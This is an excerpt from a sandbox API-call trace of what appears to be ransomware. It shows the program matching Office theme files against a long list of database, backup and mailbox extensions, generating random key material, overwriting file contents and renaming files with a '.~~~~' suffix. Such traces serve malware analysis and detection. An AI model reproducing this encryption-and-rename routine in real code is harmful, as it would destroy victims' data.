	[0086.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.~~~~")) returned 1
	[0086.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.582] GetLastError () returned 0x0
	[0086.583] lstrlenW (lpString=".sqb") returned 4
	[0086.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".sqb") returned 0x0
	[0086.584] lstrlenW (lpString=".ost") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".ost") returned 0x0
	[0086.584] lstrlenW (lpString=".txt") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".txt") returned 0x0
	[0086.584] lstrlenW (lpString=".mdt") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".mdt") returned 0x0
	[0086.584] lstrlenW (lpString=".BDB") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".BDB") returned 0x0
	[0086.584] lstrlenW (lpString=".eql") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".eql") returned 0x0
	[0086.584] lstrlenW (lpString=".DBF") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DBF") returned 0x0
	[0086.584] lstrlenW (lpString=".EQL") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".EQL") returned 0x0
	[0086.584] lstrlenW (lpString=".FDB") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".FDB") returned 0x0
	[0086.584] lstrlenW (lpString=".EDB") returned 4
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".EDB") returned 0x0
	[0086.584] lstrlenW (lpString=".DACPAC") returned 7
	[0086.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.584] lstrlenW (lpString=".VHD") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".VHD") returned 0x0
	[0086.585] lstrlenW (lpString=".DBV") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DBV") returned 0x0
	[0086.585] lstrlenW (lpString=".dacpac") returned 7
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dacpac") returned 0x0
	[0086.585] lstrlenW (lpString=".sdf") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".sdf") returned 0x0
	[0086.585] lstrlenW (lpString=".accdb") returned 6
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".accdb") returned 0x0
	[0086.585] lstrlenW (lpString=".DBX") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DBX") returned 0x0
	[0086.585] lstrlenW (lpString=".MDT") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".MDT") returned 0x0
	[0086.585] lstrlenW (lpString=".SQB") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".SQB") returned 0x0
	[0086.585] lstrlenW (lpString=".vhd") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".vhd") returned 0x0
	[0086.585] lstrlenW (lpString=".bac") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".bac") returned 0x0
	[0086.585] lstrlenW (lpString=".mdf") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".mdf") returned 0x0
	[0086.585] lstrlenW (lpString=".BAK") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".BAK") returned 0x0
	[0086.585] lstrlenW (lpString=".BAC") returned 4
	[0086.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".BAC") returned 0x0
	[0086.585] lstrlenW (lpString=".dbs") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dbs") returned 0x0
	[0086.586] lstrlenW (lpString=".vhdx") returned 5
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".vhdx") returned 0x0
	[0086.586] lstrlenW (lpString=".NDF") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".NDF") returned 0x0
	[0086.586] lstrlenW (lpString=".dat") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dat") returned 0x0
	[0086.586] lstrlenW (lpString=".DBS") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DBS") returned 0x0
	[0086.586] lstrlenW (lpString=".CKP") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".CKP") returned 0x0
	[0086.586] lstrlenW (lpString=".edb") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".edb") returned 0x0
	[0086.586] lstrlenW (lpString=".PST") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".PST") returned 0x0
	[0086.586] lstrlenW (lpString=".dbf") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dbf") returned 0x0
	[0086.586] lstrlenW (lpString=".SQL") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".SQL") returned 0x0
	[0086.586] lstrlenW (lpString=".pst") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".pst") returned 0x0
	[0086.586] lstrlenW (lpString=".dbv") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dbv") returned 0x0
	[0086.586] lstrlenW (lpString=".SDF") returned 4
	[0086.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".SDF") returned 0x0
	[0086.586] lstrlenW (lpString=".dtxs") returned 5
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dtxs") returned 0x0
	[0086.587] lstrlenW (lpString=".db3") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".db3") returned 0x0
	[0086.587] lstrlenW (lpString=".OST") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".OST") returned 0x0
	[0086.587] lstrlenW (lpString=".dbx") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dbx") returned 0x0
	[0086.587] lstrlenW (lpString=".DB3") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DB3") returned 0x0
	[0086.587] lstrlenW (lpString=".DAT") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DAT") returned 0x0
	[0086.587] lstrlenW (lpString=".VHDX") returned 5
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".VHDX") returned 0x0
	[0086.587] lstrlenW (lpString=".ndf") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".ndf") returned 0x0
	[0086.587] lstrlenW (lpString=".DB") returned 3
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DB") returned 0x0
	[0086.587] lstrlenW (lpString=".sql") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".sql") returned 0x0
	[0086.587] lstrlenW (lpString=".MYD") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".MYD") returned 0x0
	[0086.587] lstrlenW (lpString=".DBT") returned 4
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DBT") returned 0x0
	[0086.587] lstrlenW (lpString=".ACCDB") returned 6
	[0086.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.588] lstrlenW (lpString=".fdb") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".fdb") returned 0x0
	[0086.588] lstrlenW (lpString=".bak") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".bak") returned 0x0
	[0086.588] lstrlenW (lpString=".myd") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".myd") returned 0x0
	[0086.588] lstrlenW (lpString=".DTXS") returned 5
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".DTXS") returned 0x0
	[0086.588] lstrlenW (lpString=".ckp") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".ckp") returned 0x0
	[0086.588] lstrlenW (lpString=".dbt") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".dbt") returned 0x0
	[0086.588] lstrlenW (lpString=".db") returned 3
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".db") returned 0x0
	[0086.588] lstrlenW (lpString=".TXT") returned 4
	[0086.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".TXT") returned 0x0
	[0086.588] lstrlenW (lpString=".MDF") returned 4
	[0086.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".MDF") returned 0x0
	[0086.638] lstrlenW (lpString=".bdb") returned 4
	[0086.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".bdb") returned 0x0
	[0086.639] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0086.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.639] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.640] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.640] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20663059193) returned 1
	[0086.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d72cad0, dwHighDateTime=0x1d60e1e)) 
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9a88
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9a88 | out: hHeap=0x300000) returned 1
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba7a8
	[0086.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0086.641] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.641] GetLastError () returned 0x0
	[0086.642] GetLastError () returned 0x0
	[0086.642] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.642] GetLastError () returned 0x0
	[0086.642] GetLastError () returned 0x0
	[0086.646] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffefe34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.646] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x101cc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x101cc, lpOverlapped=0x0) returned 1
	[0086.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.647] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.647] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.648] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.648] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.648] CloseHandle (hObject=0x120) returned 1
	[0086.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
	[0086.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.~~~~")) returned 1
	[0086.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.649] GetLastError () returned 0x0
	[0086.654] lstrlenW (lpString=".sqb") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".sqb") returned 0x0
	[0086.654] lstrlenW (lpString=".ost") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".ost") returned 0x0
	[0086.654] lstrlenW (lpString=".txt") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".txt") returned 0x0
	[0086.654] lstrlenW (lpString=".mdt") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".mdt") returned 0x0
	[0086.654] lstrlenW (lpString=".BDB") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".BDB") returned 0x0
	[0086.654] lstrlenW (lpString=".eql") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".eql") returned 0x0
	[0086.654] lstrlenW (lpString=".DBF") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DBF") returned 0x0
	[0086.654] lstrlenW (lpString=".EQL") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".EQL") returned 0x0
	[0086.654] lstrlenW (lpString=".FDB") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".FDB") returned 0x0
	[0086.654] lstrlenW (lpString=".EDB") returned 4
	[0086.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".EDB") returned 0x0
	[0086.654] lstrlenW (lpString=".DACPAC") returned 7
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DACPAC") returned 0x0
	[0086.655] lstrlenW (lpString=".VHD") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".VHD") returned 0x0
	[0086.655] lstrlenW (lpString=".DBV") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DBV") returned 0x0
	[0086.655] lstrlenW (lpString=".dacpac") returned 7
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dacpac") returned 0x0
	[0086.655] lstrlenW (lpString=".sdf") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".sdf") returned 0x0
	[0086.655] lstrlenW (lpString=".accdb") returned 6
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".accdb") returned 0x0
	[0086.655] lstrlenW (lpString=".DBX") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DBX") returned 0x0
	[0086.655] lstrlenW (lpString=".MDT") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".MDT") returned 0x0
	[0086.655] lstrlenW (lpString=".SQB") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".SQB") returned 0x0
	[0086.655] lstrlenW (lpString=".vhd") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".vhd") returned 0x0
	[0086.655] lstrlenW (lpString=".bac") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".bac") returned 0x0
	[0086.655] lstrlenW (lpString=".mdf") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".mdf") returned 0x0
	[0086.655] lstrlenW (lpString=".BAK") returned 4
	[0086.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".BAK") returned 0x0
	[0086.655] lstrlenW (lpString=".BAC") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".BAC") returned 0x0
	[0086.656] lstrlenW (lpString=".dbs") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dbs") returned 0x0
	[0086.656] lstrlenW (lpString=".vhdx") returned 5
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".vhdx") returned 0x0
	[0086.656] lstrlenW (lpString=".NDF") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".NDF") returned 0x0
	[0086.656] lstrlenW (lpString=".dat") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dat") returned 0x0
	[0086.656] lstrlenW (lpString=".DBS") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DBS") returned 0x0
	[0086.656] lstrlenW (lpString=".CKP") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".CKP") returned 0x0
	[0086.656] lstrlenW (lpString=".edb") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".edb") returned 0x0
	[0086.656] lstrlenW (lpString=".PST") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".PST") returned 0x0
	[0086.656] lstrlenW (lpString=".dbf") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dbf") returned 0x0
	[0086.656] lstrlenW (lpString=".SQL") returned 4
